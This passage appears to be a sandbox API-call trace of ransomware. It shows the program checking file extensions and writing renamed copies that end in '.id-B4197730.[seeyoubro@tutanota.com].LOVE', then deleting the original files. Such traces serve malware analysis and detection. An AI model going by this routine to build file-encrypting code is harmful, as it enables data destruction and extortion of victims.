(lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0197.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.984] lstrlenW (lpString=".doc") returned 4 [0197.984] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0197.984] lstrlenW (lpString=".docx") returned 5 [0197.984] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0197.984] lstrlenW (lpString=".pdf") returned 4 [0197.984] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0197.984] lstrlenW (lpString=".xls") returned 4 [0197.984] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0197.985] lstrlenW (lpString=".xlsx") returned 5 [0197.985] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0197.985] lstrlenW (lpString=".ppt") returned 4 [0197.985] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0197.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.985] lstrlenW (lpString=".zip") returned 4 [0197.985] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0197.985] lstrlenW (lpString=".rar") returned 4 [0197.985] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0197.985] lstrlenW (lpString=".bz2") returned 4 [0197.985] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0197.985] lstrlenW (lpString=".7z") returned 3 [0197.985] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0197.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.985] lstrlenW (lpString=".dbf") returned 4 [0197.985] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0197.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.985] lstrlenW (lpString=".1cd") returned 4 [0197.985] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0197.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.985] lstrlenW (lpString=".jpg") returned 4 [0197.985] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0197.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.985] lstrlenW (lpString=".doc") returned 4 [0197.985] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0197.985] lstrlenW (lpString=".docx") returned 5 [0197.985] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0197.985] lstrlenW (lpString=".pdf") returned 4 [0197.985] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0197.986] lstrlenW (lpString=".xls") returned 4 [0197.986] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0197.986] lstrlenW (lpString=".xlsx") returned 5 [0197.986] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0197.986] lstrlenW (lpString=".ppt") returned 4 [0197.986] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0197.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.986] lstrlenW (lpString=".zip") returned 4 [0197.986] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0197.986] lstrlenW (lpString=".rar") returned 4 [0197.986] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0197.986] lstrlenW (lpString=".bz2") returned 4 [0197.986] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0197.986] lstrlenW (lpString=".7z") returned 3 [0197.986] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0197.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.986] lstrlenW (lpString=".dbf") returned 4 [0197.986] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0197.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.986] lstrlenW (lpString=".1cd") returned 4 [0197.986] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0197.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0197.986] lstrlenW (lpString=".jpg") returned 4 [0197.986] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0197.986] lstrcmpiW (lpString1=".bmp", lpString2=".LOVE") returned -1 [0197.986] lstrlenW (lpString="watermark.bmp") returned 13 [0197.986] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0197.987] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=104072) returned 1 [0197.987] CloseHandle (hObject=0x33c) returned 1 [0197.987] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0197.987] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.987] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0197.987] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.987] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.987] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0197.988] GetLastError () returned 0x0 [0197.988] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x19688, lpOverlapped=0x0) returned 1 [0198.062] WriteFile (in: hFile=0x2a0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x19690, lpOverlapped=0x0) returned 1 [0198.064] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.064] WriteFile (in: hFile=0x2a0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xee, lpOverlapped=0x0) returned 1 [0198.064] SetEndOfFile (hFile=0x2a0) returned 1 [0198.064] CloseHandle (hObject=0x2a0) returned 1 [0198.066] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.066] SetEndOfFile (hFile=0x33c) returned 1 [0198.067] CloseHandle (hObject=0x33c) returned 1 [0198.067] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0198.067] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0198.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.068] lstrlenW (lpString=".doc") returned 4 [0198.068] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0198.068] lstrlenW (lpString=".docx") returned 5 [0198.068] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0198.068] lstrlenW (lpString=".pdf") returned 4 [0198.068] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0198.068] lstrlenW (lpString=".xls") returned 4 [0198.068] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0198.068] lstrlenW (lpString=".xlsx") returned 5 [0198.068] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0198.068] lstrlenW (lpString=".ppt") returned 4 [0198.068] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0198.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.068] lstrlenW (lpString=".zip") returned 4 [0198.068] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0198.068] lstrlenW (lpString=".rar") returned 4 [0198.068] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0198.068] lstrlenW (lpString=".bz2") returned 4 [0198.068] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0198.068] lstrlenW (lpString=".7z") returned 3 [0198.068] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0198.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.068] lstrlenW (lpString=".dbf") returned 4 [0198.068] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0198.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.068] lstrlenW (lpString=".1cd") returned 4 [0198.068] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0198.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.068] lstrlenW (lpString=".jpg") returned 4 [0198.068] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0198.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.068] lstrlenW (lpString=".doc") returned 4 [0198.068] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0198.069] lstrlenW (lpString=".docx") returned 5 [0198.069] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0198.069] lstrlenW (lpString=".pdf") returned 4 [0198.069] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0198.069] lstrlenW (lpString=".xls") returned 4 [0198.069] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0198.069] lstrlenW (lpString=".xlsx") returned 5 [0198.069] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0198.069] lstrlenW (lpString=".ppt") returned 4 [0198.069] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0198.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.069] lstrlenW (lpString=".zip") returned 4 [0198.069] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0198.069] lstrlenW (lpString=".rar") returned 4 [0198.069] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0198.069] lstrlenW (lpString=".bz2") returned 4 [0198.069] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0198.069] lstrlenW (lpString=".7z") returned 3 [0198.069] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0198.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.069] lstrlenW (lpString=".dbf") returned 4 [0198.069] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0198.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.069] lstrlenW (lpString=".1cd") returned 4 [0198.069] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0198.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0198.069] lstrlenW (lpString=".jpg") returned 4 [0198.069] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0198.069] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0198.069] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26 [0198.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0198.072] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=4450) returned 1 [0198.072] CloseHandle (hObject=0x2a0) returned 1 [0198.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0198.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0198.073] SetFilePointerEx (in: hFile=0x2a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.073] SetFilePointerEx (in: hFile=0x2a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0198.157] GetLastError () returned 0x0 [0198.157] ReadFile (in: hFile=0x2a0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1162, lpOverlapped=0x0) returned 1 [0198.319] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1170, lpOverlapped=0x0) returned 1 [0198.320] ReadFile (in: hFile=0x2a0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.320] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x108, lpOverlapped=0x0) returned 1 [0198.320] SetEndOfFile (hFile=0x31c) returned 1 [0198.320] CloseHandle (hObject=0x31c) returned 1 [0198.321] SetFilePointerEx (in: hFile=0x2a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.321] SetEndOfFile (hFile=0x2a0) returned 1 [0198.322] CloseHandle (hObject=0x2a0) returned 1 [0198.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0198.325] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0198.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.325] lstrlenW (lpString=".doc") returned 4 [0198.325] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.325] lstrlenW (lpString=".docx") returned 5 [0198.325] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0198.325] lstrlenW (lpString=".pdf") returned 4 [0198.325] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.325] lstrlenW (lpString=".xls") returned 4 [0198.325] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.325] lstrlenW (lpString=".xlsx") returned 5 [0198.325] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0198.325] lstrlenW (lpString=".ppt") returned 4 [0198.325] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.325] lstrlenW (lpString=".zip") returned 4 [0198.326] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.326] lstrlenW (lpString=".rar") returned 4 [0198.326] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.326] lstrlenW (lpString=".bz2") returned 4 [0198.326] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.326] lstrlenW (lpString=".7z") returned 3 [0198.326] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.326] lstrlenW (lpString=".dbf") returned 4 [0198.326] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.326] lstrlenW (lpString=".1cd") returned 4 [0198.326] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.326] lstrlenW (lpString=".jpg") returned 4 [0198.326] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.326] lstrlenW (lpString=".doc") returned 4 [0198.326] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.326] lstrlenW (lpString=".docx") returned 5 [0198.326] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0198.326] lstrlenW (lpString=".pdf") returned 4 [0198.326] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.326] lstrlenW (lpString=".xls") returned 4 [0198.326] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.326] lstrlenW (lpString=".xlsx") returned 5 [0198.326] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0198.326] lstrlenW (lpString=".ppt") returned 4 [0198.326] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.326] lstrlenW (lpString=".zip") returned 4 [0198.326] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.326] lstrlenW (lpString=".rar") returned 4 [0198.326] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.326] lstrlenW (lpString=".bz2") returned 4 [0198.326] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.327] lstrlenW (lpString=".7z") returned 3 [0198.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.327] lstrlenW (lpString=".dbf") returned 4 [0198.327] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.327] lstrlenW (lpString=".1cd") returned 4 [0198.327] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0198.327] lstrlenW (lpString=".jpg") returned 4 [0198.327] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.327] lstrcmpiW (lpString1=".avi", lpString2=".LOVE") returned -1 [0198.327] lstrlenW (lpString="boxed-delete.avi") returned 16 [0198.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0198.433] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=48936) returned 1 [0198.433] CloseHandle (hObject=0x318) returned 1 [0198.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0198.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.436] lstrlenW (lpString=".doc") returned 4 [0198.436] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.436] lstrlenW (lpString=".docx") returned 5 [0198.436] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0198.436] lstrlenW (lpString=".pdf") returned 4 [0198.436] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.436] lstrlenW (lpString=".xls") returned 4 [0198.436] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.436] lstrlenW (lpString=".xlsx") returned 5 [0198.436] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0198.436] lstrlenW (lpString=".ppt") returned 4 [0198.436] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.436] lstrlenW (lpString=".zip") returned 4 [0198.436] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.437] lstrlenW (lpString=".rar") returned 4 [0198.437] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.437] lstrlenW (lpString=".bz2") returned 4 [0198.437] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.437] lstrlenW (lpString=".7z") returned 3 [0198.437] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.437] lstrlenW (lpString=".dbf") returned 4 [0198.437] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.437] lstrlenW (lpString=".1cd") returned 4 [0198.437] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.437] lstrlenW (lpString=".jpg") returned 4 [0198.437] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.437] lstrlenW (lpString=".doc") returned 4 [0198.437] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.437] lstrlenW (lpString=".docx") returned 5 [0198.437] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0198.437] lstrlenW (lpString=".pdf") returned 4 [0198.437] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.437] lstrlenW (lpString=".xls") returned 4 [0198.437] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.437] lstrlenW (lpString=".xlsx") returned 5 [0198.437] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0198.437] lstrlenW (lpString=".ppt") returned 4 [0198.437] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.437] lstrlenW (lpString=".zip") returned 4 [0198.437] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.438] lstrlenW (lpString=".rar") returned 4 [0198.438] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.438] lstrlenW (lpString=".bz2") returned 4 [0198.438] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.438] lstrlenW (lpString=".7z") returned 3 [0198.438] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.438] lstrlenW (lpString=".dbf") returned 4 [0198.438] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.438] lstrlenW (lpString=".1cd") returned 4 [0198.438] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.438] 